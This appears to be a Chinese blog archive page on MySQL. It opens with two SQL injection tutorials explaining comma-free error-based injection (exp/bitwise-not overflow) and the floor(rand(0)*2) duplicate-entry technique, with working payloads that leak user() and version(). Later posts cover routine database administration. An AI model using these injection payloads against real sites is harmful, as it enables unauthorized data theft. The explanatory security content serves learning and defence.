MySQL注射的过滤绕过技巧[3]

这一篇介绍不带逗号注入。 之所以不带逗号,多半是因为它被当做分隔符,或者是被脚本过滤了。比如这样一个URL:

http://www.target.com/index.php?cate=1,2,3,4,5

参数cate可以注入,但是不能使用逗号,因为逗号被脚本作为分隔符预处理。

这种注射点的利用方法是使用数学运算函数在子查询中报错,比如exp函数(参考 EXP(X) ),  MySQL会把子查询的中间结果暴露出来。

这里我发了一个例子到wooyun:  17173游戏某站点MySQL报错注入(不带逗号注入的猜解过程)

select exp(~(select*from(select user())a))

MySQL报错:

mysql> select exp(~(select*from(select user())a));
ERROR 1690 (22003): DOUBLE value is out of range in ‘exp(~((select ‘root@localhost’ from dual)))’

这样我们就得到了当前user()是root@localhost。

exp(x)函数的作用: 取常数e的x次方,其中,e是自然对数的底。

~x 是一个一元运算符,将x按位取补。举个例子:

mysql> select hex(2);
+——–+
| hex(2) |
+——–+
| 2 |
+——–+

mysql> select hex(~2);
+——————+
| hex(~2) |
+——————+
| FFFFFFFFFFFFFFFD |
+——————+

这条查询会出错,是因为exp(x)的参数x过大,超过了数值范围。分解到子查询,就是:

1. (select*from(select user())a) 得到字符串 root@localhost

2. 表达式’root@localhost’被转换为0,按位取补之后得到一个非常的大数,它是MySQL中最大的无符号整数:

mysql> select ~0;
+———————-+
| ~0 |
+———————-+
| 18446744073709551615 |
+———————-+

3. exp无法计算e的18446744073709551615次方,最终报错,但是MySQL把前面 1) 中子查询的临时结果暴露出来了

了解了MySQL的这个特点,其实我们就还可以精心构造其他的一元运算符,让MySQL查询在没有逗号的情况下报错,比如:

mysql> select !(select*from(select user())x)-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘((not((select ‘root@localhost’ from dual))) – ~(0))’

mysql> select 1 – 18446744073709551615;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in ‘(1 – 18446744073709551615)’

原因如第二个查询所述。

这个例子是bigint超过数值范围,手法类似。

经典的MySQL Duplicate entry报错注入

SQL注射取数据的方式有多种:

  1. 利用union select查询直接在页面上返回数据,这种最为常见,一个前提是攻击者能够构造闭合的查询。
  2.  Oracle中利用监听UTL_HTTP.request发起的HTTP请求,把QuerySet反弹回攻击者的主机。当然,HTTP服务器对URL的长度有一定限制,因此每次可返回的数据量不可过多。
  3.  基于错误消息取数据,前提是页面能够响应详细的错误描述。它的一个优点是,我们可能不必太费力去猜测和闭合SQL(可以构造子查询,让MySQL在子查询中报错)。
  4.  盲注,页面不会显示错误消息。常见基于布尔的盲注、基于时间的盲注,此类注射点利用价值相对要低一点,猜解数据的时间较长。

本篇简单说明非常经典的基于错误回显的MySQL注射。最重要的,就是理解下面的SQL查询:

select count(*),floor(rand(0)*2)x from information_schema.character_sets group by x;

上面的这条SQL将报错: Duplicate entry ‘1’ for key ‘group_key’

如下图

mysql_error_1

1. 为什么MySQL注射要用information_schema库?

答案是这个库是MySQL自带的,安装之后就创建好了,所有账号都有权限访问。攻击者无需猜解库名、表名。跟Oracle注射使用dual类似。

2. 如何利用报错取数据?

利用报错,攻击者把目标数据concat连接到floor()函数的前后即可。

例如,下面的语句用于获取MySQL Server版本,构造:

mysql> select count(*),concat( floor(rand(0)*2), 0x5e5e5e, version(), 0x5e5e5e) x from information_schema.character_sets
group by x;
ERROR 1062 (23000): Duplicate entry ‘1^^^5.5.28^^^’ for key ‘group_key’

通过报错,即可知道当前数据库是5.5.28。0x5e5e5e是3个尖括号的16进制表示。 自动化SQL注射工具通常会在目标数据前后做类似的标记,方便程序提取。

加上标记,也可以方便攻击者在大的页面中搜索。

3. 为何这条语句会报错?

rand(0)是把0作为生成随机数的种子。首先明确一点,无论查询多少次,无论在哪台MySQL Server上查询,连续rand(0)生成的序列是固定的

mysql> select rand(0)*2 x from information_schema.character_sets;
+---------------------+
| x                   |
+---------------------+
|  0.3104408553898715 |
|   1.241763483026776 |
|  1.2774949104315554 |
|  0.6621841645447389 |
|  1.4784361528963188 |
|  1.4056283323146668 |
|  0.5928332643516672 |
|  0.7472813862816258 |
|  1.9579071998204172 |
|  1.5476919017244986 |
|  1.8647379706285316 |
|  0.6806142094364522 |
|  1.8088571967639562 |
|   1.002443416977714 |
|  1.5856455560639924 |
|  0.9208975908541098 |
|  1.8475513475458616 |
|  0.4750640266342685 |
|  0.8326661520010477 |
|  0.7381387415697228 |
|   1.192695313312761 |
|   1.749060403321926 |
|   1.167216138138637 |
|  0.5888995421946975 |
|  1.4428493580248667 |
|  1.4475482250075304 |
|  0.9091931124303426 |
| 0.20332094859641134 |
| 0.28902546715831895 |
|  0.8351645514696506 |
|  1.3087464173405863 |
| 0.03823849376126984 |
|  0.2649532782518801 |
|   1.210050971442881 |
|  1.2553950839260548 |
|  0.6468225667689206 |
|  1.4679276435337287 |
|  1.3991705788291717 |
|  0.5920700250119623 |
+---------------------+

应用floor函数(取浮点数的整数部分)后,结果变成了:

mysql> select floor(rand(0)*2) x from information_schema.character_sets;
+---+
| x |
+---+
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 0 |
| 0 |
| 0 |
| 1 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
| 0 |
| 0 |
| 0 |
| 1 |
| 0 |
| 0 |
| 1 |
| 1 |
| 0 |
| 1 |
| 1 |
| 0 |
+---+
39 rows in set (0.00 sec)

可以看到,第二行和第三行的值都是1。这也是最终引起MySQL报错Duplicate entry的地方。

实际上,我们分开执行下面的两种查询,都是不会出错的:

a) select floor(rand(0)*2) x from information_schema.character_sets group by x;

上面的查询根据x列的值进行分组,得到:

+---+
| x |
+---+
| 0 |
| 1 |
+---+

b) select count(*), floor(rand(0)*2) x from information_schema.character_sets;

得到information_schema.character_sets总共有39行:

+----------+---+
| count(*) | x |
+----------+---+
|       39 | 0 |
+----------+---+
1 row in set (0.00 sec)

请注意,这里x的值出现的是0。

c) 将上述语句结合后即报错

select count(*), floor(rand(0)*2) x from information_schema.character_sets group by x;

我们预期的结果, 其实是:

+----------+---+
| count(*) | x |
+----------+---+
|       18 | 0 |
+----------+---+
|       11 | 1 |
+----------+---+
2 row in set (0.00 sec)

然而MySQL在内部处理中间结果的时候,出现了意外,导致报错。

参考链接: SQL Injection attack – What does this do?

VPS迁移后重建MySQL ISAM全文索引

前文我简单总计了web应用的迁移过程,这里补充说明一下数据库迁移后的全文索引重建问题。

数据库导入到MySQL之后,如果有ISAM fulltext表,需要重建索引。

cd /var/lib/mysql/music

找到对应数据表的索引文件,这里music是我的数据库名称(db_name)。

对于较小的表,直接执行:

myisamchk –recover –ft_min_word_len=2 –ft_max_word_len=20 bt.MYI

为了让用户能搜索到较短的人名,比如“许巍”,我把单词的最短长度设定为2。

对于超大的表,直接执行上述命令就不行了,会得到一个错误提示:

myisamchk error: myisam_sort_buffer_size is too small

这时需要为myisamchk命令添加–force和–safe-recover两个参数。 比如,这里我为一个百万记录的表重建索引,则执行:

myisamchk –recover –force –safe-recover –ft_min_word_len=2 –ft_max_word_len=20 albums_fulltext.MYI

MySQL修改某一列collate时遇到的问题

在测试歌手名排序时,我曾临时地将歌手的name列改成了utf8_bin整理排序,区分大小写。

其他列默认为utf8_general_ci排序。

后来忘记改回来了,

今天测试时发现一个bug,搜歌手输入Linkin Park可以搜到,而linkin park却搜不到:

http://www.fachun.net/search/Linkin%20Park?sid=0

该函数我在django中已经用icontains忽略大小写,

确认view函数没有问题,我排查到原来是name列被错误定义为了utf8_bin排序,所以大小写是不同的。

原先的定义是:

name varchar(100) character set utf8 collate utf8_bin not null;

我直接修改某列,就执行:

alter table musician modify name varchar(100) not null;

这个表也就9000多条记录,执行了半天还一直卡在那里。

show processlist,发现state居然是Locked,无语!

kill对应的id,换成执行:

alter table musician convert to character set utf8 collate utf8_general_ci;

两秒就完成了。

具体原因没有深究,或许MySQL版本较低(我用的5.5),DDL效率总是不尽人意。

在修改记录较多的表时,尤其费时,听说是因为MySQL先copy整个表再做修改。

(后续)记录一次MySQL关联表的优化

昨天写了篇日志,记录自己尝试去优化一个MySQL表。

最后因为对结果不满意,用了一种非常“高富帅”的方法解决问题,即把整个表都放到内存中提升查询性能。

现在回忆起来,性能问题确实是因为自己滥用MySQL造成的。

 

首先,再描述一下场景。

需要优化的是一个关联表,名为 album_tags ,300万条记录,只有3个字段:

id

album_id    外键关联到专辑的id, integer

tag_id           外键关联到标签的id, integer

应用中需要获取和某个tag关联的所有专辑,平均情形有几千个。

通过inner join两个表来取数据: album_tags 和album。

当时发现这个查询比较费时,有时多达四五秒。

排查从子查询开始,测试了类似语句:

select album_id from album_tags where tag_id = 8

当结果集数量较多时,这条语句会变慢,比如取出2万条的结果,可能就需要两三秒。

我尝试explain这个select查询,发现是有使用索引的。

实际上,最初为了提升查询性能,我还特别在tag_id这一列上建了个hash索引。

 

1. HASH(tag_id)分区优化

了解到索引没问题,我产生了第一个思路:分表, 继续阅读(后续)记录一次MySQL关联表的优化

python MySQLdb API手册

python访问MySQL server,可以使用 _mysql模块, 也可使用进一步封装过的MySQLdb包。

若使用MySQLdb,则需要单独安装。

今天发现MySQLdb的API手册居然被墙了… …

它的原始链接是: http://mysql-python.sourceforge.net/MySQLdb-1.2.2/

我把这个手册下载并上传到自己的博客上,供需要的朋友参考。

http://www.lijiejie.com/python/MySQLdb/

 

继续阅读python MySQLdb API手册